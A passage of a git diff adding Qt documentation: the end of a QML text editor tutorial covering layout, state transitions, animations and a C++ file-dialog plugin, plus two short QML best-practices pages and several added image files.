+ else if (contentY+height <= r.y+r.height)
+ contentY = r.y+r.height-height;
+ }
+ \endcode
+
+ \section2 Combining Components for the Text Editor
+
+ We are now ready to create the layout of our text editor using QML. The text
+ editor has two components, the menu bar we created and the text area. QML allows
+ us to reuse components, therefore making our code simpler, by importing components
+ and customizing when necessary. Our text editor splits the window into two;
+ one-third of the screen is dedicated to the menu bar and two-thirds of the screen
+ displays the text area. The menu bar is displayed in front of any other elements.
+
+ \code
+ Rectangle{
+
+ id: screen
+ width: 1000; height: 1000
+
+ //the screen is partitioned into the MenuBar and TextArea. 1/3 of the screen is assigned to the MenuBar
+ property int partition: height/3
+
+ MenuBar{
+ id:menuBar
+ height: partition
+ width:parent.width
+ z: 1
+ }
+
+ TextArea{
+ id:textArea
+ anchors.bottom:parent.bottom
+ y: partition
+ color: "white"
+ height: partition*2
+ width:parent.width
+ }
+ }
+ \endcode
+
+ By importing reusable components, our \c TextEditor code looks much simpler.
+ We can then customize the main application, without worrying about properties
+ that already have defined behaviors. Using this approach, application layouts
+ and UI components can be created easily.
+
+ \image qml-texteditor3_texteditor.png
+
+ \section1 Decorating the Text Editor
+ \section2 Implementing a Drawer Interface
+
+ Our text editor looks simple and we need to decorate it. Using QML, we can declare
+ transitions and animate our text editor. Our menu bar is occupying one-third of the
+ screen and it would be nice to have it only appear when we want it.
+
+ We can add a drawer interface, that will contract or expand the menu bar when clicked.
+ In our implementation, we have a thin rectangle that responds to mouse clicks. The
+ \c drawer, as well as the application, has two sates: the "drawer is open" state and
+ the "drawer is closed" state. The \c drawer item is a strip of rectangle with a small
+ height. There is a nested \l {Image}{Image} element declaring that an arrow icon will
+ be centered inside the drawer. The drawer assigns a state to the whole application,
+ with the identifier \c screen, whenever a user clicks the mouse area.
+
+ \code
+ Rectangle{
+ id:drawer
+ height:15
+
+ Image{
+ id: arrowIcon
+ source: "images/arrow.png"
+ anchors.horizontalCenter: parent.horizontalCenter
+ }
+
+ MouseArea{
+ id: drawerMouseArea
+ anchors.fill:parent
+ onClicked:{
+ if (screen.state == "DRAWER_CLOSED"){
+ screen.state = "DRAWER_OPEN"
+ }
+ else if (screen.state == "DRAWER_OPEN"){
+ screen.state = "DRAWER_CLOSED"
+ }
+ }
+ ...
+ }
+ }
+ \endcode
+
+ A state is simply a collection of configurations and it is declared in a
+ \l{State}{State} element. A list of states can be listed and bound to the
+ \c states property. In our application, the two states are called
+ \c DRAWER_CLOSED and \c DRAWER_OPEN. Item configurations are declared in
+ \l {PropertyChanges}{PropertyChanges} elements. In the \c DRAWER_OPEN state,
+ there are four items that will receive property changes. The first target,
+ \c menuBar, will change its \c y property to \c 0. Similarly, the \c textArea
+ will lower to a new position when the state is \c DRAWER_OPEN. The \c textArea,
+ the \c drawer, and the drawer's icon will undergo property changes to meet the
+ current state.
+
+ \snippet examples/tutorials/gettingStarted/gsQml/texteditor.qml states
+
+ State changes are abrupt and needs smoother transitions. Transitions between states
+ are defined using the \l {Transition}{Transition} element, which can then bind to
+ the item's \c transitions property. Our text editor has a state transition whenever
+ the state changes to either \c DRAWER_OPEN or \c DRAWER_CLOSED. Importantly, the
+ transition needs a \c from and a \c to state but for our transitions, we can use
+ the wild card \c * symbol to denote that the transition applies to all state changes.
+
+ During transitions, we can assign animations to the property changes. Our
+ \c menuBar switches position from \c {y:0} to \c {y:-partition} and we can animate
+ this transition using the \l {NumberAnimation}{NumberAnimation} element. We declare
+ that the targets' properties will animate for a certain duration of time and using
+ a certain easing curve. An easing curve controls the animation rates and
+ interpolation behavior during state transitions. The easing curve we chose is
+ \l{PropertyAnimation::easing.type}{Easing.OutQuint}, which slows the movement near
+ the end of the animation. Please read \l {qdeclarativeanimation.html}{QML's Animation}
+ article.
+
+ \snippet examples/tutorials/gettingStarted/gsQml/texteditor.qml transitions
+
+ Another way of animating property changes is by declaring a \l {Behavior}{Behavior}
+ element. A transition only works during state changes and \c Behavior can set an
+ animation for a general property change. In the text editor, the arrow has a
+ \c NumberAnimation animating its \c rotation property whenever the property changes.
+
+ \code
+ In TextEditor.qml:
+
+ Behavior{
+ NumberAnimation{property: "rotation";easing.type: Easing.OutExpo }
+ }
+ \endcode
+
+ Going back to our components with knowledge of states and animations, we can improve
+ the appearances of the components. In \c Button.qml, we can add \c color and \c scale
+ property changes when the button is clicked. Color types are animated using
+ \l {ColorAnimation}{ColorAnimation} and numbers are animated using
+ \l {NumberAnimation}{NumberAnimation}. The \c {on propertyName} syntax displayed below
+ is helpful when targeting a single property.
+
+ \code
+ In Button.qml:
+ ...
+
+ color: buttonMouseArea.pressed ? Qt.darker(buttonColor, 1.5) : buttonColor
+ Behavior on color { ColorAnimation{ duration: 55} }
+
+ scale: buttonMouseArea.pressed ? 1.1 : 1.00
+ Behavior on scale { NumberAnimation{ duration: 55} }
+ \endcode
+
+ Additionally, we can enhance the appearances of our QML components by adding color
+ effects such as gradients and opacity effects. Declaring a \l {Gradient}{Gradient}
+ element will override the \c color property of the element. You may declare a color
+ in the gradient using the \l {GradientStop}{GradientStop} element. The gradient is
+ positioned using a scale, between \c 0.0 and \c 1.0.
+
+ \code
+ In MenuBar.qml
+ gradient: Gradient {
+ GradientStop { position: 0.0; color: "#8C8F8C" }
+ GradientStop { position: 0.17; color: "#6A6D6A" }
+ GradientStop { position: 0.98;color: "#3F3F3F" }
+ GradientStop { position: 1.0; color: "#0e1B20" }
+ }
+ \endcode
+
+ This gradient is used by the menu bar to display a gradient simulating depth.
+ The first color starts at \c 0.0 and the last color is at \c 1.0.
+
+
+ \section3 Where to Go from Here
+
+ We are finished building the user interface of a very simple text editor.
+ Going forward, the user interface is complete, and we can implement the
+ application logic using regular Qt and C++. QML works nicely as a prototyping
+ tool, separating the application logic away from the UI design.
+
+ \image qml-texteditor4_texteditor.png
+
+ \section2 Extending QML using Qt C++
+
+ Now that we have our text editor layout, we may now implement the text editor
+ functionalities in C++. Using QML with C++ enables us to create our application
+ logic using Qt. We can create a QML context in a C++ application using the
+ \l {Using QML Bindings in C++ Applications}{Qt's Declarative} classes and display the QML
+ elements using a Graphics Scene. Alternatively, we can export our C++ code into
+ a plugin that the \l {QML Viewer}{qmlviewer} tool can read. For our application,
+ we shall implement the load and save functions in C++ and export it as a plugin.
+ This way, we only need to load the QML file directly instead of running an executable.
+
+ \section3 Exposing C++ Classes to QML
+
+ We will be implementing file loading and saving using Qt and C++. C++ classes
+ and functions can be used in QML by registering them. The class also needs to be
+ compiled as a Qt plugin and the QML file will need to know where the plugin is located.
+
+ For our application, we need to create the following items:
+ \list 1
+ \o \c Directory class that will handle directory related operations
+ \o \c File class which is a QObject, simulating the list of files in a directory
+ \o plugin class that will register the class to the QML context
+ \o Qt project file that will compile the plugin
+ \o A \c qmldir file telling the qmlviewer tool where to find the plugin
+ \endlist
+
+ \section3 Building a Qt Plugin
+
+ To build a plugin, we need to set the following in a Qt project file. First,
+ the necessary sources, headers, and Qt modules need to be added into our
+ project file. All the C++ code and project files are in the \c filedialog
+ directory.
+
+ \code
+ In filedialog.pro:
+
+ TEMPLATE = lib
+ CONFIG += qt plugin
+ QT += declarative
+
+ DESTDIR += ../plugins
+ OBJECTS_DIR = tmp
+ MOC_DIR = tmp
+
+ TARGET = FileDialog
+
+ HEADERS += directory.h \
+ file.h \
+ dialogPlugin.h
+
+ SOURCES += directory.cpp \
+ file.cpp \
+ dialogPlugin.cpp
+ \endcode
+
+ In particular, we compile Qt with the \c declarative module and configure it as a
+ \c plugin, needing a \c lib template. We shall put the compiled plugin into the
+ parent's \c plugins directory.
+
+
+ \section3 Registering a Class into QML
+
+ \code
+ In dialogPlugin.h:
+
+ #include <QtDeclarative/QDeclarativeExtensionPlugin>
+
+ class DialogPlugin : public QDeclarativeExtensionPlugin
+ {
+ Q_OBJECT
+
+ public:
+ void registerTypes(const char *uri);
+
+ };
+
+ \endcode
+
+ Our plugin class, \c DialogPlugin is a subclass of \l{QDeclarativeExtensionPlugin}.
+ We need to implement the inherited function, \l {QDeclarativeExtensionPlugin::}{registerTypes()}.
+ The \c dialogPlugin.cpp file looks like this:
+
+ \code
+ DialogPlugin.cpp:
+
+ #include "dialogPlugin.h"
+ #include "directory.h"
+ #include "file.h"
+ #include <QtDeclarative/qdeclarative.h>
+
+ void DialogPlugin::registerTypes(const char *uri){
+
+ qmlRegisterType<Directory>(uri, 1, 0, "Directory");
+ qmlRegisterType<File>(uri, 1, 0,"File");
+ }
+
+ Q_EXPORT_PLUGIN2(FileDialog, DialogPlugin);
+ \endcode
+
+ The \l{QDeclarativeExtensionPlugin::}{registerTypes()} function registers
+ our File and Directory classes into QML. This function needs the class name
+ for its template, a major version number, a minor version number, and a name
+ for our classes.
+
+ We need to export the plugin using the \l {Q_EXPORT_PLUGIN2}{Q_EXPORT_PLUGIN2}
+ macro. Note that in our \c dialogPlugin.h file, we have the \l {Q_OBJECT}{Q_OBJECT}
+ macro at the top of our class. As well, we need to run \c qmake on the project
+ file to generate the necessary meta-object code.
+
+
+ \section3 Creating QML Properties in a C++ class
+
+ We can create QML elements and properties using C++ and
+ \l {The Meta-Object System}{Qt's Meta-Object System}. We can implement
+ properties using slots and signals, making Qt aware of these properties.
+ These properties can then be used in QML.
+
+ For the text editor, we need to be able to load and save files. Typically,
+ these features are contained in a file dialog. Fortunately, we can use
+ \l {QDir}{QDir}, \l {QFile}{QFile}, and \l {QTextStream}{QTextStream} to
+ implement directory reading and input/output streams.
+
+ \code
+ class Directory : public QObject{
+
+ Q_OBJECT
+
+ Q_PROPERTY(int filesCount READ filesCount CONSTANT)
+ Q_PROPERTY(QString filename READ filename WRITE setFilename NOTIFY filenameChanged)
+ Q_PROPERTY(QString fileContent READ fileContent WRITE setFileContent NOTIFY fileContentChanged)
+ Q_PROPERTY(QDeclarativeListProperty<File> files READ files CONSTANT )
+
+ ...
+ \endcode
+
+ The \c Directory class uses Qt's Meta-Object System to register properties it
+ needs to accomplish file handling. The \c Directory class is exported as a plugin
+ and is useable in QML as the \c Directory element. Each of the listed properties
+ using the \l {Q_PROPERTY()}{Q_PROPERTY} macro is a QML property.
+
+ The \l {Q_PROPERTY()} {Q_PROPERTY} declares a property as well as its read and
+ write functions into Qt's Meta-Object System. For example, the \c filename
+ property, of type \l {QString}{QString}, is readable using the \c filename()
+ function and writable using the function \c setFilename(). Additionally, there
+ is a signal associated to the filename property called \c filenameChanged(),
+ which is emitted whenever the property changes. The read and write functions
+ are declared as \c public in the header file.
+
+ Similarly, we have the other properties declared according to their uses. The
+ \c filesCount property indicates the number of files in a directory. The filename
+ property is set to the currently selected file's name and the loaded/saved file
+ content is stored in \c fileContent property.
+
+ \code
+ Q_PROPERTY(QDeclarativeListProperty<File> files READ files CONSTANT )
+ \endcode
+
+ The \c files list property is a list of all the filtered files in a directory.
+ The \c Directory class is implemented to filter out invalid text files; only
+ files with a \c .txt extension are valid. Further, \l{QList}s can be
+ used in QML files by declaring them as a QDeclarativeListProperty in C++.
+ The templated object needs to inherit from a QObject, therefore,
+ the \c File class must also inherit from QObject. In the \c Directory class,
+ the list of \c File objects is stored in a QList called \c m_fileList.
+
+ \code
+ class File : public QObject{
+
+ Q_OBJECT
+ Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged)
+
+ ...
+ };
+ \endcode
+
+ The properties can then be used in QML as part of the \c Directory element's
+ properties. Note that we do not have to create an identifier \c id property
+ in our C++ code.
+
+ \code
+ Directory{
+ id: directory
+
+ filesCount
+ filename
+ fileContent
+ files
+
+ files[0].name
+ }
+
+ \endcode
+
+ Because QML uses Javascript's syntax and structure, we can iterate through
+ the list of files and retrieve its properties. To retrieve the first file's
+ name property, we can call \c { files[0].name }.
+
+ Regular C++ functions are also accessible from QML. The file loading and saving
+ functions are implemented in C++ and declared using the
+ \l {Q_INVOKABLE}{Q_INVOKABLE} macro. Alternatively, we can declare the functions
+ as a \c slot and the functions will be accessible from QML.
+
+ \code
+ In Directory.h:
+
+ Q_INVOKABLE void saveFile();
+ Q_INVOKABLE void loadFile();
+ \endcode
+
+ The \c Directory class also has to notify other objects whenever the directory
+ contents change. This feature is performed using a \c signal. As previously
+ mentioned, QML signals have a corresponding handler with their names prepended
+ with \c on. The signal is called \c directoryChanged and it is emitted whenever
+ there is a directory refresh. The refresh simply reloads the directory contents
+ and updates the list of valid files in the directory. QML items can then be
+ notified by attaching an action to the \c onDirectoryChanged signal handler.
+
+ The \c list properties need to be explored further. This is because list
+ properties use callbacks to access and modify the list contents. The list
+ property is of type \c QDeclarativeListProperty<File>. Whenever the list
+ is accessed, the accessor function needs to return a
+ \c QDeclarativeListProperty<File>. The template type, \c File, needs to be a
+ \c QObject derivative. Further, to create the
+ \l {QDeclarativeListProperty}{QDeclarativeListProperty}, the list's accessor
+ and modifiers need to be passed to the constructor as function pointers. The list,
+ a \c QList in our case, also needs to be a list of \c File pointers.
+
+ The constructor of \l {QDeclarativeListProperty}{QDeclarativeListProperty}
+ constructor and the \c Directory implementation:
+ \code
+ QDeclarativeListProperty ( QObject * object, void * data, AppendFunction append, CountFunction count = 0, AtFunction at = 0, ClearFunction clear = 0 )
+ QDeclarativeListProperty<File>( this, &m_fileList, &appendFiles, &filesSize, &fileAt, &clearFilesPtr );
+ \endcode
+
+ The constructor passes pointers to functions that will append the list, count
+ the list, retrieve the item using an index, and empty the list. Only the append
+ function is mandatory. Note that the function pointers must match the definition
+ of \l {QDeclarativeListProperty::AppendFunction}{AppendFunction},
+ \l {QDeclarativeListProperty::CountFunction}{CountFunction},
+ \l {QDeclarativeListProperty::AtFunction}{AtFunction}, or
+ \l {QDeclarativeListProperty::ClearFunction}{ClearFunction}.
+
+ \code
+ void appendFiles(QDeclarativeListProperty<File> * property, File * file)
+ File* fileAt(QDeclarativeListProperty<File> * property, int index)
+ int filesSize(QDeclarativeListProperty<File> * property)
+ void clearFilesPtr(QDeclarativeListProperty<File> *property)
+ \endcode
+
+ To simplify our file dialog, the \c Directory class filters out invalid text
+ files, which are files that do not have a \c .txt extension. If a file name
+ doesn't have the \c .txt extension, then it won't be seen in our file dialog.
+ Also, the implementation makes sure that saved files have a \c .txt extension in
+ the file name. \c Directory uses \l {QTextStream}{QTextStream} to read the file
+ and to output the file contents to a file.
+
+ With our \c Directory element, we can retrieve the files as a list, know how many
+ text files is in the application directory, get the file's name and content as a
+ string, and be notified whenever there are changes in the directory contents.
+
+ To build the plugin, run \c qmake on the \c filedialog.pro project file, then run
+ \c make to build and transfer the plugin to the \c plugins directory.
+
+
+ \section3 Importing a Plugin in QML
+
+ The qmlviewer tool imports files that are in the same directory as the
+ application. We can also create a \c qmldir file containing the locations of
+ QML files we wish to import. The \c qmldir file can also store locations of
+ plugins and other resources.
+
+ \code
+ In qmldir:
+
+ Button ./Button.qml
+ FileDialog ./FileDialog.qml
+ TextArea ./TextArea.qml
+ TextEditor ./TextEditor.qml
+ EditMenu ./EditMenu.qml
+
+ plugin FileDialog plugins
+ \endcode
+
+ The plugin we just created is called \c FileDialog, as indicated by the
+ \c TARGET field in the project file. The compiled plugin is in the \c plugins directory.
+
+
+ \section3 Integrating a File Dialog into the File Menu
+
+ Our \c FileMenu needs to display the \c FileDialog element, containing a list of
+ the text files in a directory thus allowing the user to select the file by
+ clicking on the list. We also need to assign the save, load, and new buttons
+ to their respective actions. The FileMenu contains an editable text input to
+ allow the user to type a file name using the keyboard.
+
+ The \c Directory element is used in the \c FileMenu.qml file and it notifies the
+ \c FileDialog element that the directory refreshed its contents. This notification
+ is performed in the signal handler, \c onDirectoryChanged.
+
+ \code
+ In FileMenu.qml:
+
+ Directory{
+ id:directory
+ filename: textInput.text
+ onDirectoryChanged: fileDialog.notifyRefresh()
+ }
+ \endcode
+
+ Keeping with the simplicity of our application, the file dialog will always be
+ visible and will not display invalid text files, which do not have a \c .txt
+ extension to their filenames.
+
+ \code
+ In FileDialog.qml:
+
+ signal notifyRefresh()
+ onNotifyRefresh: dirView.model = directory.files
+ \endcode
+
+ The \c FileDialog element will display the contents of a directory by reading its
+ list property called \c files. The files are used as the model of a
+ \l {GridView}{GridView} element, which displays data items in a grid according
+ to a delegate. The delegate handles the appearance of the model and our file
+ dialog will simply create a grid with text centered in the middle. Clicking on
+ the file name will result in the appearance of a rectangle to highlight the file
+ name. The \c FileDialog is notified whenever the \c notifyRefresh signal is emitted,
+ reloading the files in the directory.
+
+ \code
+ In FileMenu.qml:
+
+ Button{
+ id: newButton
+ label: "New"
+ onButtonClick:{
+ textArea.textContent = ""
+ }
+ }
+ Button{
+ id: loadButton
+ label: "Load"
+ onButtonClick:{
+ directory.filename = textInput.text
+ directory.loadFile()
+ textArea.textContent = directory.fileContent
+ }
+ }
+ Button{
+ id: saveButton
+ label: "Save"
+ onButtonClick:{
+ directory.fileContent = textArea.textContent
+ directory.filename = textInput.text
+ directory.saveFile()
+ }
+ }
+ Button{
+ id: exitButton
+ label: "Exit"
+ onButtonClick:{
+ Qt.quit()
+ }
+ }
+ \endcode
+
+ Our \c FileMenu can now connect to their respective actions. The \c saveButton
+ will transfer the text from the \c TextEdit onto the directory's \c fileContent
+ property, then copy its file name from the editable text input. Finally, the button
+ calls the \c saveFile() function, saving the file. The \c loadButton has a similar
+ execution. Also, the \c New action will empty the contents of the \c TextEdit.
+
+ Further, the \c EditMenu buttons are connected to the \c TextEdit functions to copy,
+ paste, and select all the text in the text editor.
+
+ \image qml-texteditor5_filemenu.png
+
+ \section2 Text Editor Completion
+
+ \image qml-texteditor5_newfile.png
+
+ The application can function as a simple text editor, able to accept text
+ and save the text into a file. The text editor can also load from a file and
+ perform text manipulation.
+
+ \section1 Running the Text Editor
+
+ We need to compile the file dialog C++ plugin before the text editor can run.
+ To compile, enter the \c gsQml directory, then run \c qmake and compile
+ using \c make or \c nmake, depending on your platform. To run, launch
+ qmlviewer and open the \c texteditor.qml file.
+
+ The source code is in the \c{examples/tutorials/gettingStarted/gsQml}
+ directory.
+*/
diff --git a/doc/src/howtos/qmlbestpractices/qmlbestpractices-coding.qdoc b/doc/src/howtos/qmlbestpractices/qmlbestpractices-coding.qdoc
new file mode 100644
index 00000000..47de32a2
--- /dev/null
+++ b/doc/src/howtos/qmlbestpractices/qmlbestpractices-coding.qdoc
@@ -0,0 +1,97 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+/*!
+\page qml-best-practices-coding.html
+\ingroup qml-best-practices
+\contentspage QML Best Practices Guides
+\previouspage QML Best Practices Guides
+\startpage QML Best Practices Guides
+\title QML Best Practices: Coding Conventions
+
+\brief QML Coding Conventions and Importing Files
+
+There are many different ways to code using QML. These are a set of
+guidelines to help your code look better and consistent.
+
+\section1 Coding Conventions
+
+The official QML Coding Conventions may be found at
+\l {QML Coding Conventions}. This is the recommended convention that will be
+used throughout the QML documentation.
+
+In addition, Qt's official code style may be found at the \l {Qt Coding Style}.
+
+\section1 Importing Files into QML
+
+To import items such as directories, use the "import" keyword, similar to
+the way the \c {import QtQuick 1.0} statement is used.
+
+\snippet doc/src/snippets/declarative/imports/best-practices.qml imports
+
+To facilitate the import of QML components, it is best to begin the QML
+file with an uppercase character. This way, the user can simply declare the
+component using the file name as the component name. For example, if a QML
+component is in a file named \c Button.qml, then the user may import the
+component by declaring a \c {Button {}}. Note that this method only works if
+the QML files are in the same directory.
+
+It is also possible to import QML files which have file names that begin in
+lower case or files in a different directory by using a \c qmldir file.
+
+A \c qmldir file tells your QML application which QML components, plugins,
+or directories to import. The \c qmldir file must reside in an imported
+directory. By using the \c qmldir file, users may import any QML file and assign any
+valid QML component name to the component.
+
+For more information, read the section on
+\l{qml-loading-components}{Loading a Component}.
+
+\section1 Commenting Code
+
+Commenting code allows others to read the source code better. As well, comments
+allow the programmer to think about his or her code; a confusing comment may
+mean the code is confusing.
+
+Similar to JavaScript or C++, there are two ways of commenting QML code:
+\list
+\o Single line comments start with \c{//} and finish at the end of the line
+\o Multiline comments start with \c{/*} and finish with *\/
+\endlist
+
+\section1 Group Properties
+
+Many QML properties are \l{attached-properties}{attached} or
+\l {qml-grouped-properties}{group} properties. For convenience, you may treat
+them as another element when dealing with multiple properties belonging to the
+same group.
+
+\snippet doc/src/snippets/declarative/bestpractices/group.qml not grouped
+Treating groups of properties as a block can ease confusion and help relate the
+properties with other properties.
+\snippet doc/src/snippets/declarative/bestpractices/group.qml grouped
+*/
diff --git a/doc/src/howtos/qmlbestpractices/qmlbestpractices-datatypes.qdoc b/doc/src/howtos/qmlbestpractices/qmlbestpractices-datatypes.qdoc
new file mode 100644
index 00000000..c2c2d5f7
--- /dev/null
+++ b/doc/src/howtos/qmlbestpractices/qmlbestpractices-datatypes.qdoc
@@ -0,0 +1,49 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+ \page qml-best-practices-datatypes.html
+ \ingroup qml-best-practices
+ \contentspage QML Best Practices Guides
+ \previouspage QML Best Practices Guides
+ \startpage QML Best Practices Guides
+ \title QML Best Practices: Data Types
+
+ \brief Using Basic Data Types and Custom Types in QML
+
+ QML supports many basic data types, Qt data types, and custom data types.
+
+ \section1 Basic Data Types
+
+ \section1 Qt Data Types
+
+ \section1 Exporting Qt Types to QML
+
+ Programmers may create C++ data structures and expose them to QML, making
+ data accessible from QML.
+
+ \section2 Using QStringLists in QML
+*/
diff --git a/doc/src/images/declarative-anchors_example.png b/doc/src/images/declarative-anchors_example.png
new file mode 100644
index 00000000..293cd4b3
--- /dev/null
+++ b/doc/src/images/declarative-anchors_example.png
Binary files differ
diff --git a/doc/src/images/declarative-anchors_example2.png b/doc/src/images/declarative-anchors_example2.png
new file mode 100644
index 00000000..6d3be7d0
--- /dev/null
+++ b/doc/src/images/declarative-anchors_example2.png
Binary files differ
diff --git a/doc/src/images/declarative-colors.png b/doc/src/images/declarative-colors.png
new file mode 100644
index 00000000..f2eacd88
--- /dev/null
+++ b/doc/src/images/declarative-colors.png
Binary files differ
diff --git a/doc/src/images/declarative-examples.png b/doc/src/images/declarative-examples.png
new file mode 100644
index 00000000..913dfac1
--- /dev/null
+++ b/doc/src/images/declarative-examples.png
Binary files differ
diff --git a/doc/src/images/declarative-folderlistmodel.png b/doc/src/images/declarative-folderlistmodel.png
new file mode 100644
index 00000000..fbed4f84
--- /dev/null
+++ b/doc/src/images/declarative-folderlistmodel.png
Binary files differ
diff --git a/doc/src/images/declarative-image_tile.png b/doc/src/images/declarative-image_tile.png
new file mode 100644
index 00000000..b946a6de
--- /dev/null
+++ b/doc/src/images/declarative-image_tile.png
Binary files differ
diff --git a/doc/src/images/declarative-item_opacity1.png b/doc/src/images/declarative-item_opacity1.png
new file mode 100644
index 00000000..cde973be
--- /dev/null
+++ b/doc/src/images/declarative-item_opacity1.png
Binary files differ
diff --git a/doc/src/images/declarative-item_opacity2.png b/doc/src/images/declarative-item_opacity2.png
new file mode 100644
index 00000000..86273607
--- /dev/null
+++ b/doc/src/images/declarative-item_opacity2.png
Binary files differ
diff --git a/doc/src/images/declarative-item_stacking1.png b/doc/src/images/declarative-item_stacking1.png
new file mode 100644
index 00000000..18f41484
--- /dev/null
+++ b/doc/src/images/declarative-item_stacking1.png
Binary files differ
diff --git a/doc/src/images/declarative-item_stacking2.png b/doc/src/images/declarative-item_stacking2.png
new file mode 100644
index 00000000..7a71bcd3
--- /dev/null
+++ b/doc/src/images/declarative-item_stacking2.png
Binary files differ
diff --git a/doc/src/images/declarative-item_stacking3.png b/doc/src/images/declarative-item_stacking3.png
new file mode 100644
index 00000000..cde973be
--- /dev/null
+++ b/doc/src/images/declarative-item_stacking3.png
Binary files differ
diff --git a/doc/src/images/declarative-item_stacking4.png b/doc/src/images/declarative-item_stacking4.png
new file mode 100644
index 00000000..3fdf627f
--- /dev/null
+++ b/doc/src/images/declarative-item_stacking4.png
Binary files differ
diff --git a/doc/src/images/declarative-nopercent.png b/doc/src/images/declarative-nopercent.png
new file mode 100644
index 00000000..28b00a91
--- /dev/null
+++ b/doc/src/images/declarative-nopercent.png
Binary files differ
diff --git a/doc/src/images/declarative-pathattribute.png b/doc/src/images/declarative-pathattribute.png
new file mode 100644
index 00000000..57cd049e
--- /dev/null
+++ b/doc/src/images/declarative-pathattribute.png
Binary files differ
diff --git a/doc/src/images/declarative-pathcubic.png b/doc/src/images/declarative-pathcubic.png
new file mode 100644
index 00000000..ffbca5d9
--- /dev/null
+++ b/doc/src/images/declarative-pathcubic.png
Binary files differ
diff --git a/doc/src/images/declarative-pathquad.png b/doc/src/images/declarative-pathquad.png
new file mode 100644
index 00000000..65f19997
--- /dev/null
+++ b/doc/src/images/declarative-pathquad.png
Binary files differ
diff --git a/doc/src/images/declarative-percent.png b/doc/src/images/declarative-percent.png
new file mode 100644
index 00000000..c2770552
--- /dev/null
+++ b/doc/src/images/declarative-percent.png
Binary files differ
diff --git a/doc/src/images/declarative-qmlfocus1.png b/doc/src/images/declarative-qmlfocus1.png
new file mode 100644
index 00000000..317b34b1
--- /dev/null
+++ b/doc/src/images/declarative-qmlfocus1.png
Binary files differ
diff --git a/doc/src/images/declarative-qmlfocus2.png b/doc/src/images/declarative-qmlfocus2.png
new file mode 100644
index 00000000..e3f96431
--- /dev/null
+++ b/doc/src/images/declarative-qmlfocus2.png
Binary files differ
diff --git a/doc/src/images/declarative-qmlfocus3.png b/doc/src/images/declarative-qmlfocus3.png
new file mode 100644
index 00000000..a5897ce9
--- /dev/null
+++ b/doc/src/images/declarative-qmlfocus3.png
Binary files differ
diff --git a/doc/src/images/declarative-qmlfocus4.png b/doc/src/images/declarative-qmlfocus4.png
new file mode 100644
index 00000000..f2e64cdc
--- /dev/null
+++ b/doc/src/images/declarative-qmlfocus4.png
Binary files differ
diff --git a/doc/src/images/declarative-qmlfocus5.png b/doc/src/images/declarative-qmlfocus5.png
new file mode 100644
index 00000000..ec7307bd
--- /dev/null
+++ b/doc/src/images/declarative-qmlfocus5.png
Binary files differ
diff --git a/doc/src/images/declarative-qtlogo-preserveaspectcrop.png b/doc/src/images/declarative-qtlogo-preserveaspectcrop.png
new file mode 100644
index 00000000..64fb086f
--- /dev/null
+++ b/doc/src/images/declarative-qtlogo-preserveaspectcrop.png
Binary files differ
diff --git a/doc/src/images/declarative-qtlogo-preserveaspectfit.png b/doc/src/images/declarative-qtlogo-preserveaspectfit.png
new file mode 100644
index 00000000..2585fa5f
--- /dev/null
+++ b/doc/src/images/declarative-qtlogo-preserveaspectfit.png
Binary files differ
diff --git a/doc/src/images/declarative-qtlogo-stretch.png b/doc/src/images/declarative-qtlogo-stretch.png
new file mode 100644
index 00000000..32a0114e
--- /dev/null
+++ b/doc/src/images/declarative-qtlogo-stretch.png
Binary files differ
diff --git a/doc/src/images/declarative-qtlogo-tile.png b/doc/src/images/declarative-qtlogo-tile.png
new file mode 100644
index 00000000..7d1b9d04
--- /dev/null
+++ b/doc/src/images/declarative-qtlogo-tile.png
Binary files differ
diff --git a/doc/src/images/declarative-qtlogo-tilehorizontally.png b/doc/src/images/declarative-qtlogo-tilehorizontally.png
new file mode 100644
index 00000000..367a8c7d
--- /dev/null
+++ b/doc/src/images/declarative-qtlogo-tilehorizontally.png
Binary files differ
diff --git a/doc/src/images/declarative-qtlogo-tilevertically.png b/doc/src/images/declarative-qtlogo-tilevertically.png
new file mode 100644
index 00000000..68afafa8
--- /dev/null
+++ b/doc/src/images/declarative-qtlogo-tilevertically.png
Binary files differ
diff --git a/doc/src/images/declarative-qtlogo.png b/doc/src/images/declarative-qtlogo.png
new file mode 100644
index 00000000..940d159a
--- /dev/null
+++ b/doc/src/images/declarative-qtlogo.png
Binary files differ
diff --git a/doc/src/images/declarative-rect.png b/doc/src/images/declarative-rect.png
new file mode 100644
index 00000000..173759ae
--- /dev/null
+++ b/doc/src/images/declarative-rect.png
Binary files differ
diff --git a/doc/src/images/declarative-rect_gradient.png b/doc/src/images/declarative-rect_gradient.png
new file mode 100644
index 00000000..f79d579b
--- /dev/null
+++ b/doc/src/images/declarative-rect_gradient.png
Binary files differ
diff --git a/doc/src/images/declarative-rect_tint.png b/doc/src/images/declarative-rect_tint.png
new file mode 100644
index 00000000..3a440137
--- /dev/null
+++ b/doc/src/images/declarative-rect_tint.png
Binary files differ
diff --git a/doc/src/images/declarative-removebutton-close.png b/doc/src/images/declarative-removebutton-close.png
new file mode 100644
index 00000000..d73f8e18
--- /dev/null
+++ b/doc/src/images/declarative-removebutton-close.png
Binary files differ
diff --git a/doc/src/images/declarative-removebutton-open.png b/doc/src/images/declarative-removebutton-open.png
new file mode 100644
index 00000000..b54d797d
--- /dev/null
+++ b/doc/src/images/declarative-removebutton-open.png
Binary files differ
